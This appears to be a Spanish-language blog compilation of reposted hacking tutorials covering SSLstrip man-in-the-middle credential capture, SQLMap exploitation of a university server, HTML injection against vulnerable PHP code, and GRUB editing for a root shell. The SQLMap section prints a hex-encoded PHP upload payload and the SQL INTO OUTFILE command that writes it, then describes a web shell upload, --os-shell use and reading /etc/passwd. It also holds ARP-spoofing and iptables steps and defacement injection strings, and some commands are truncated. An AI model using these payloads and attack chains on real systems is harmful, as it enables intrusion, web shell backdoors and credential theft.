SSLstrip : Cómo descifrar todo el tráfico HTTPS

El siguiente es un post muy bueno realizado por Jalths para RedesZone.net.

Cabe anotar que en los links dejo la fuente y otras referencias al mismo y otros métodos como hamster que tambien es muy bueno para estas pruebas de serguridad.

SSLSTrip es una aplicación para sistemas operativos Linux capaz de “descifrar todo el tráfico HTTPS” que viaja a través de la red y sniffar el tráfico (usuarios y claves) que viaja a través de la red en “HTTPS (cifrado)”. En este tutorial os vamos a enseñar un poco más a fondo cómo funciona.
Para lograr nuestro objetivo, haremos un ataque Man In The Middle, que consiste en ponernos a “escuchar” las comunicaciones entre el servidor y el propio cliente.
¿SSLStrip descifra el protocolo SSL?, la respuesta es no. Lo que hace realmente SSLStrip es engañar al servidor y convertir todo el HTTPS de una web en HTTP (sin cifrar) . El script solo puede “engañar” cuando la víctima llega a la web en cuestión mediante una redirección o un LINK.
En la página web oficial podéis encontrar el enlace de descarga y un breve manual para empezar a utilizar SSLSTRIP.
Antes de empezar, debemos aclarar que el manual es básicamente un ataque simulado, no se va a explicar todo en detalle, simplemente os mostraremos como funciona SSLStrip haciendo una demostración en un tipo de ataque simulado.
Para este ataque simulado vamos a usar 2 máquinas conectadas a una misma red (1 máquina física y una máquina virtual), los roles desempeñados por cada máquina van a ser los siguientes:
Máquina física : Kubuntu 11.04 – Víctima.
Máquina virtual: Backtack 5 – Atacante.
Herramientas necesarias para el atacante:
SSLStrip
Sniffer(Wireshark,Ettercap..)
Arpspoof
Iptables
Nmap (opcional, no es necesario si sabemos la IP de la víctima, o si usamos otra técnica para detectarla)
Empezamos el ataque:
Lo primero que debe conocer el atacante es la IP privada de la víctima (nosotros para este ataque simulado hemos optado por usar Nmap para descubrir la IP) en nuestro caso es bastante fácil ya que solo hay 3 Host activos (el propio atacante, la víctima y el router).
Para realizar este proceso de detección lo que haremos será escanear toda la red local en busca de Host activos (seguramente se os ocurrirán más maneras, no obstante por nuestra parte pensamos que ésta es la más utilizada).
Primero averiguamos nuestra IP privada en la red con ifconfig. Típicamente los routers empiezan a agregar IPs, manteniendo los tres primeros grupos de cifras por ejemplo:192.168.0.* donde * es el número que varía y el resto se mantiene igual.
Por supuesto, el router puede estar configurado de otra forma, y puede que tengamos que sacar la IP como podamos, por ejemplo, por medios de ingeniería social si tenemos contacto con la persona que maneja el PC víctima.

Como podéis ver, está activa la IP del atacante. Si hubiese más Host activos el atacante tendría que ir tirando de técnicas de fingerprinting e ir contrastando los resultados de estas con las cosas que ya sabe de la víctima por ejemplo, si el atacante supiese que la víctima utiliza Windows 7, podría hacer un OS Fingerprint(flag -O en Nmap) para saber el OS que utilizan los Host que están activos, descartando así todos los que no utilicen Windows 7 ya que no serían la víctima.
Llegados a este punto el atacante deberá configurar el enrutamiento de su PC (también podría haberlo hecho antes). Si no se activase el enrutamiento el ataque podría ser un desastre, ya que la víctima técnicamente se quedaría sin internet, porque sus peticiones jamas llegarían a su destino, se quedarían en el PC del atacante y por tanto no habría respuestas.

A continuación, el atacante deberá configurar una IPTABLE para redirigir todo el trafico del puerto 80 a otro puerto. El atacante podría omitir este paso y poner directamente a escuchar el SSLStrip directamente al puerto 80 pero esto obligaría a la víctima a aceptar un certificado falso, cosa que ya era capaz de hacer otras herramientas.
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port

Siguiendo con el ataque, una vez que el atacante tiene la IP de la víctima, este deberá proceder a realizar un ataque MITM. Para esto usará ARPSpoof:

Ahora es el momento en el que empieza la parte complicada del ataque, hasta ahora hemos hecho lo siguiente:
Por ahora el atacante ha obtenido la IP de la víctima y tiene todo su trafico redireccionado hacia sí mismo (ataque MITM), y ahora mismo se dispone a conseguir en texto planto todo lo que pase cifrado en SSL.
El proceso es simple deberemos lanzar SSLStrip y ponerlo a escuchar en el puerto al que hemos redireccionado el trafico.

Ya esta todo listo ahora solo necesitamos que pase algo como esto:
Pantalla de la víctima entrando en por ejemplo a www.paypal.com ; con las siguientes credenciales: Correo = Correodeprueba ; Contraseña: Contraseñadeprueba
Pantalla del atacante monitorizando el trafico y obteniendo la contraseña mediante Wireshark

Aquí finaliza nuestro ataque simulado, esperamos que os haya gustado.
Cómo detectar el ataque MITM y SSLStrip:
-Fijándonos en la única diferencia que se presenta al visitar una web que use SSL cuando estamos bajo este ataque, que la dirección en vez de ser https es http.
Como protegerse de estos ataques:
-Escribiendo siempre en la barra de direcciones del navegador https:// cuando entremos a web que sabemos que usan SSL(o lo sospechamos).
Antes de despedirnos, os dejamos también con una de las conferencias (en inglés) que dio el autor del script Moxie:

Y el repositorio del autor donde tiene el código del script y todo el changelog desde que fue liberado:
SSLStrip

Fuente:
http://www.redeszone.net/seguridad-informatica/sslstrip/

Links de interés:
https://www.youtube.com/watch?v=ZSdQESKGyzY --> Sidejaking con hamster
http://www.alcancelibre.org/article.php/ssltrip-evidencia-vulnerabilidades-ssl
http://www.securitynull.net/punto-de-acceso-wifi-falso-ssltrip-backtrack-5/comment-page-1/ --> ssltrip mas ap falso.
https://hakin9.org/hijacking-ssl-sslstrip-on-windows/ --En windows
http://www.unsysadminenapuros.com/2013/08/ataque-mitm-con-ettercap-sslstrip.html --Con ettercap
http://sectools.org/tool/sslstrip/
http://www.pentester.es/2009/07/sslstrip-02.html
http://foro.elhacker.net/hacking_avanzado/sslstrip_para_windows-t338315.0.html
http://resources.infosecinstitute.com/ssl-attacks/
https://scotthelme.co.uk/advanced-session-hijacking/
http://thehackernews.com/2012/09/crime-new-ssltls-attack-for-hijacking.html

Auditar una pagina web por SQLi con SQLMap

Hace algunos días auditando un Servidor Web (universidad) basada en Apache 1.3.26, PHP 4.2.1 a un cliente, me tope con la típica vulnerabilidad de Inyección de Código Sql, la cual permite fácilmente obtener toda la base de datos del servidor, entonces de inmediato empece a inyectar manualmente pero para mi suerte!!! ninguna de las inyecciones y bypasses dio resultado, entonces me pregunte ¿Por que? si es una vulnerabilidad peligrosa y fácilmente explotable, pero luego analizando nuevamente di con el resultado que era un simple FP (falso positivo).

Después de terminar el nuevo análisis  encontré otra vulnerabilidad de Inyección de Código Sql, mostrándome el famoso error:

----------------------------------------------------------------------------------

You have an error in your SQL syntax near '' order by gal_id desc limit 5' at line 1

----------------------------------------------------------------------------------

Entonces basándome en el resultado anterior del FP, decidí utilizar la famosa herramienta SQLMap para comprobar si realmente el sitio era vulnerable a esta inyección  para ello use el comando mas simple pero muchas veces eficiente que cuenta SQLMap:

• ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --dbs

Pero para mi mayor suerte! la herramienta devolvió el siguiente resultado:

A partir de ese error empece a preocuparme! pues el cliente necesitaba el trabajo lo mas antes posible, pero como para mi no hay nada imposible (sin presumir), opte por utilizar las técnicas y comandos mas avanzados que cuenta SQLMap, pero antes de eso tenia que comprobar si el usuario que estaba inyectando era user o root, para ello utilice el siguiente comando:

• ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --current-user

Obteniendo el siguiente resultado:

Al apreciar el resultado como "none" deduje que el usuario era "root" entonces en lo primero que pensé fue en subir una web shell desde SQLMap, pero antes de realizar ese paso, tenia que obtener un Full Path Disclosure pero ¿Para que necesito un FPD? muy facil, al momento que necesitemos subir una web shell desde SQLMap, esta nos pedirá que coloquemos el PATH completo del servidor, caso contrario esta no dará resultado.

Ejemplos de obtener un Full Path Disclosure mediante Sql Injection:

• http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep Veremos un Sql Injection
• http://www.sitio-web.com/parametro-vulnerable?txt_palabra=[]isep Veremos un Full Path Disclosure
• http://www.sitio-web.com/parametro-vulnerable?txt_palabra=huey Veremos un Full Path Disclosure
• http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep! Veremos un Full Path Disclosure
• http://www.sitio-web.com/parametro-vulnerable?txt_palabra='isep' Veremos un Full Path Disclosure

Otro método que también funciona para obtener un FPD es cambiando las cookies, por ejemplo si tenemos nuestras cookies PHPSESSID=13882931834931984318 simplemente queda borrar los números  quedando solamente el PHPSESSID= esto se puede realizar utilizando el Addon Live HTTP Headers

Después de realizar estos pasos para obtener un Full Path Disclosure, el resultado fue exitoso, mostrándome el siguiente mensaje:

----------------------------------------------------------------------------------

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /espejo/htdocs.v2/portalnuevo/buscadores/portal_contenidos.php on line 79

----------------------------------------------------------------------------------

Conociendo el path completo del servidor, solo me faltaba buscar el código php de un upload para convertirlo en HEX e inyectarlo en el SQLMap. Seguidamente tenia que convertir el siguiente código a HEX:

----------------------------------------------------------------------------------

----------------------------------------------------------------------------------

Ahora entre al sitio web http://www.string-functions.com/string-hex.aspx y coloque el código del upload para convertirlo a HEX, dando como resultado lo siguiente:

----------------------------------------------------------------------------------

3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e

----------------------------------------------------------------------------------

Realizado todo lo anterior, entre nuevamente a SQLMap y coloque el siguiente comando para moverme por el servidor mediante comandos SQL.

• ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --sql-shell

Ahora como ya tenia el control del servidor mediante comandos SQL, tenia que inyectar con SELECT + 0x + Codigo HEX + INTO OUTFILE + Full Path + Nombre del Upload, quedando la inyección de la siguiente manera:

----------------------------------------------------------------------------------

select 0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e 

into "/espejo/htdocs.v2/portalnuevo/buscadores/upload.php"; 

----------------------------------------------------------------------------------

En la cual SQLMap devuelve el siguiente resultado, indicando que el upload subió perfectamente sin problema alguno, como se muestra en la siguiente imagen:

Ahora solo me quedaba abrir mi navegador y dirigirme a la ruta en la cual subí el upload.php la cual fue totalmente un éxito.

Bien ahora como ya tenia el upload.php y mi objetivo era obtener el control total del servidor, subi una web shell la cual se ejecuto perfectamente.

----------------------------------------------------------------------------------

Como ya es de conocimiento SQLMap contiene una series de comandos que nos ayuda mucho al momento que estamos realizando una auditoria, pues también ofrece un comando para subir una web shell de una forma mas rápida a la forma de dicha herramienta.

El comando --os-shell en SQLMap permitirá subir un uploader (sqlmap file uploader) algo parecido a lo anterior pero al estilo SQLMap :)

Para realizar este paso utilizando dicho comando, teclearemos en la herramienta lo siguiente:

• ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --os-shell

La herramienta nos preguntara en que lenguaje de programación esta basada el sitio web, en este caso el sitio web que ando auditando esta en PHP, por lo que sqlmap lo enumera como (default) tal cual se muestra en la siguiente imagen:

Después de colocar el numero por default o simplemente presionando enter, la herramienta nos pedirá que coloquemos el path completo del servidor la cual hemos obtenido mediante un Full Path Disclosure, después de ello, confirmaremos dicho path para que la herramienta trate de subir el uplader en el servidor.

Seguidamente si hemos colocado el path correctamente, obtendremos el uploader en el servidor, esta se nombra muchas veces como tmpjdjsk.php.

Ahora para confirmar y visualizar el uploader que subió la herramienta, abriremos la URL que la misma nos proporciono, apreciando-la de la siguiente manera:

Desde allí podemos subir nuestra web shell o cualquier archivo que nos gustaría tener dentro del servidor web.

Después que la herramienta ha realizado todo lo anterior, nos deja una session del os-shell para movernos por el servidor mediante comandos como ls - dir - cat u otros. Esto se puede ya que en si es un backdoor que SQLMap ha subido al servidor.

Ejemplo del comando cat /etc/passwd:

Ejemplo del comando uname -a y ls:

Y por ultimo la web que hemos auditado ha quedado totalmente vulnerado.

Bueno, esto fue lo que me paso hace algunos dias, lo escribo no tal solo por aburrirlos, si no para que quiza alguno de ustedes lo ponga en practica en sus Pruebas de Penetración.

Espero les sirva, un saludo y hasta la próxima ;)

Escritor https://twitter.com/CalebDrugs

Fuente: http://www.blackploit.com/2013/01/conseguir-shell-desde-un-sqli-con-sqlmap.html

Defensa ante HTML injection

Bienvenidos a este nuevo tutorial, soy 2Fac3R y en este tutorial se mostrara informacion sobre el bug HTML injection.

CONOCIMIENTOS BASICOS:

- Saber montar un servidor local de pruebas
- Conocer lo basico de HTML, PHP y MySQL


¿En que consiste el HTMLi?

El fallo consiste en la inyecciòn de codigo HTML en una web, el fallo se da cuando un webmaster pide al usuario que ingrese
algun valor, y el usuario (atacante) inyecta codigo malicioso (HTML injection) lo cual hace que ese codigo sea mostrado en
el website del webmaster.


Vamos a crear un ejemplo de codigo que se ejecuta pidiendole al usuario:

Language: PHP





//Se recibe la llamada por $_GET
$inj = $_GET['inj'];
//Sí la variable contiene algo, muestra el contenido
if(isset($inj))
{
echo $inj; 
}else{
//Sino Nos da un link que nos direcciona a donde ponemos la inyeccion (el sitio de el GET por URL)
echo 'Inyectar!';
}
?>

Como vemos, si inyectamos codigo cualquiera el navegador lo ejecutara y mostrara nuestro mensaje, vamos a la pagina, en mi
caso lo hago desde localhost asi que queda asi:

http://127.0.0.1/htmli.php

Al ejecutarlo nos aparece la imagen con el link de "inyectar!" que hemos puesto en el "else".

Vamos y nos da un :

http://127.0.0.1/htmli.php?inj=


INYECTANDO CODIGO:


¿Como sabemos si la web es vulnerable?, lo que hay que hacer es probar codigo HTML para ver si se ejecuta, por lo tanto si
ponemos:

http://127.0.0.1/htmli.php?inj=

2Fac3R

Nos saltaria "2Fac3R" en un encabezado (

), con esto nos damos cuenta que lo que pongamos en la variable "inj" en la URL
($_GET) no lo ejecutaria el navegador...


JUGANDO CON LAS INYECCIONES:

Como sabemos, para jugar con las inyecciones y entretenernos un rato, podemos hacer uso de diferentes tipos de etiquetas
dependiendo el dominio que tengamos sobre HTML, por ejemplo:


http://127.0.0.1/htmli.php?inj=0wn3dD By 2Fac3REste es un defacement
por HTMLi

http://127.0.0.1/htmli.php?inj=0wn3dD; By

2Fac3R

Este es un defacement
por HTMLi

http://127.0.0.1/htmli.php?inj= size ="10" color="red">0wn3DD By 2Fac3R

Y asi dependiendo de la imaginación de cada quien ;)

Pero en este caso hay algo que no nos gusta, los codigos solo los veremos nosotros en nuestro navegador, ya que no se esta
ejecutando del lado del servidor, asi que no seria muy util para hacer algo serio, a menos que usaramos ing. Social para
que alguien mas (web-admin) lo ejecute (por lo regular seria un XSS, para robar cookies) y asi hacernos de algo o
simplemente que vea nuestra hermosa inyeccion xDD.


GUESTBOOK´S, Y APLICACIONES VULNERABLES:

En muchos sitios encontramos con los famosos "libros de visitas" el cual tiene la finalidad de que el usuario comente sobre
la web, ponga sus experiencias, criticas, opiniones, etc. Es aqui donde se utiliza mas el HTMLi, el usuario puede agregar
lo que quiera y por lo tanto ese mensaje quedara guardado en la base de datos del website para despues mostrarse, y asi es
como tendriamos oportunidad de injectar codigo y que se ejecute en el navegador de los usuarios cuando visiten esa
aplicación

Nota: No solo con libros de visitas podemos injectar codigo, sino con cualquier aplicación web que no filtre esos datos y
que los muestre despues.


En el ejemplo que hemos visto, mostramos la forma por $_GET ya que es mas comodo inyectar mediante la URL, ahora veamos un
codigo de ejemplo por POST, el cual funciona por un Formulario:

Language: PHP





$snd = $_POST['send'];
$it = $_POST['inj'];
if(isset($snd))
{
 //Mostramos en pantalla el contenido que viene del Formulario
 echo $it;
}else{
echo '




';
}
?>

Nos damos cuenta que realmente es lo mismo, solo que inyectamos el codigo mediante un formulario y por $_POST, asi que para
que sea realmente vulnerable y util, ya que este tutorial pretende ser muy practico y con muchos ejemplos, veamos un codigo
de un Guestbook codeado por mi usando HTML, PHP y MySQL, logicamente no contiene la seguridad que deberia:

guestbook.php

Language: PHP

$serv = "localhost";
$user = "root";
$pass = "root";
$db = "prueba"; 
if(isset($_POST['send']))
{
 $conexion=mysql_connect($serv,$user,$pass);
 mysql_select_db($db,$conexion) or die ("Error en la seleccion de la bd".mysql_error());
 mysql_query("INSERT INTO comentarios(Autor,Titulo,Mensaje) 
              VALUES ('".$_REQUEST['Autor']."','".$_REQUEST['Titulo']."','".$_REQUEST['Mensaje']."')", $conexion) 
      or die ("Error en la query".mysql_error());
 mysql_close($conexion); 
 echo "Se ha publicado correctamente";
   }else{
        echo '

 Autor:  

Titulo:  
 

Mensaje: 
  



';
}
 
?>

Logicamente no se explicara el codigo (se supone que ya lo entiendes xD), veamos el codigo que ha creado el webmaster del
sitio para ver el contenido de lo que se publica, logicamente lo puede ver desde la bd pero por X razon existe el code:

Language: PHP

# Reemplazar por tus datos:
$serv = "localhost";
$user = "root";
$pass = "root";
$db = "prueba"; 
#...............................
$conexion=mysql_connect($serv, $user, $pass) or die("Problemas en la conexion");
# Se selecciona la bd
mysql_select_db($db,$conexion) or die("Problemas en la selección de la base de datos");
# Se seleccionan las columnas a trabajar 
$comments=mysql_query("SELECT * FROM comentarios",$conexion) or die("Problemas en el select:".mysql_error());
# Se mete en la variable la llamada a la sql anterior 
# Se crea un bucle a trabajar en cada vuelta de datos que encuentre       
while ($dat=mysql_fetch_array($comments))
{
  echo " Autor :".$dat['Autor']."
";
  echo " Titulo : ".$dat['Titulo']."
";
  echo " Mensaje : ".$dat['Mensaje']."
";
  echo "---------------------------------------------
";
}
# Cerramos la conexion...
mysql_close($conexion);
?>

Ahi comente el codigo (por si no se entiende del todo), con esto vemos que imprime directamente el contenido de la bd, por
lo tanto si nosotros metieramos codigo malicioso, nos lo mostraria en pantalla sin ningun filtro, con esto podriamos hacer
un HTMLi o incluso un XSS.


SECURIZANDO NUESTRO WEBSITE:

Todo esto puede ser muy lindo, el estar dandole dolores de cabeza al webmaster, pero que pasaria si nos lo hacen a nosotros
no seria muy bonito ahora. Veamos como hacer que nuestro sitio no nos hagan estas inyecciones de codigo (HTML, XSS...)

Opciones:

strip_tags() = Elimina las etiquetas
ejemplo:

0wnN3D

Nos daria: 0wnN3D (simplemente)

Language: PHP





$inj = $_GET['inj'];
if(isset($inj))
{
echo strip_tags($inj);
}else{
echo 'Inyectar!';
}
?>

htmlentities() = Obtiene las etiquetas de la inyeccion pero no las ejecuta
ejemplo:

0wnN3D

Nos daria:

0wnN3D

(pero no ejecutaria el codigo)

Language: PHP





$inj = $_GET['inj'];
if(isset($inj))
{
echo htmlentities($inj) 
}else{
echo 'Inyectar!';
}
?>

La opcion que ustedes eligan pues ya depende del caso.
Creo que el contenido del manual se ha explicado correctamente, por lo tanto creo que aqui termina.
Recuerda que esto es para practicar en casa y APRENDER, no para dañar a cada website que te encuentres vulnerable.

COPYRIGHT:

It has Written By 2Fac3R FOR http://www.breaksecurity.blogspot.com

#####################################
## ##
# Destribución libre, respetando el autor y dedicatoria. #
## ##
######################################

Fuente: https://foro.undersecurity.net/read.php?15,9799

El Sticky Keys (sethc.exe) de GNU/Linux

¿Quién no conoce ya el proceso del famoso Sticky Keys para saltarse una pantalla de login? Si bien hay que decir que se puede proteger al sistema contra este tipo de ataques, también hay que recordar que si se dispone de acceso físico a la máquina, la cosa pinta mal…

En GNU/Linux no se libran de un proceso similar, más bien similar por el objetivo y consecuencia, pero no en su precondición. El objetivo es ver si una máquina Linux dispone de un grub editable, y cambiar el boot para que se devuelva una shell, por ejemplo bash, y de este modo disponer de una shell de root por las buenas. Podéis pensar, ¿cómo va a funcionar eso? es una locura, ¡Linux es seguro! !no existe malware! y otros tópicos del montón…

Frente a frente con la bestia

Nos encontramos con un Linux, como diría Jhonny Face To Face, y nos preguntamos ¿me dejará editar el grub? Por defecto, en ciertas distribuciones si, y en otras podemos indicarle parámetros de booteo directamente… benne benne. Al arrancar la máquina nos encontramos con el grub, pulsando la tecla e, por ejemplo en ubuntu, se puede editar. Entonces, si me dejan editarlo… habrá que aprovecharlo.

En la línea dónde se llama a la imagen del kernel que se va a cargar y la partición y usuario con la que se arrancará el sistema se debe modificar de la siguiente manera:

Ahora, tecla F10, lanzamos el booteo y… si… una shell como root, para lo que quieras…

Bueno pues esto es todos por hoy… para quién no conociese esta técnica comentar que no es una vulnerabilidad, al igual que el sticky no lo es en Windows, solo es una mala configuración de las muchas que se pueden encontrar en las aplicaciones por defecto, así que cuidar vuestras configuraciones por defecto

Fuente:

http://www.flu-project.com/el-sticky-keys-sethc-exe-de-gnulinux.html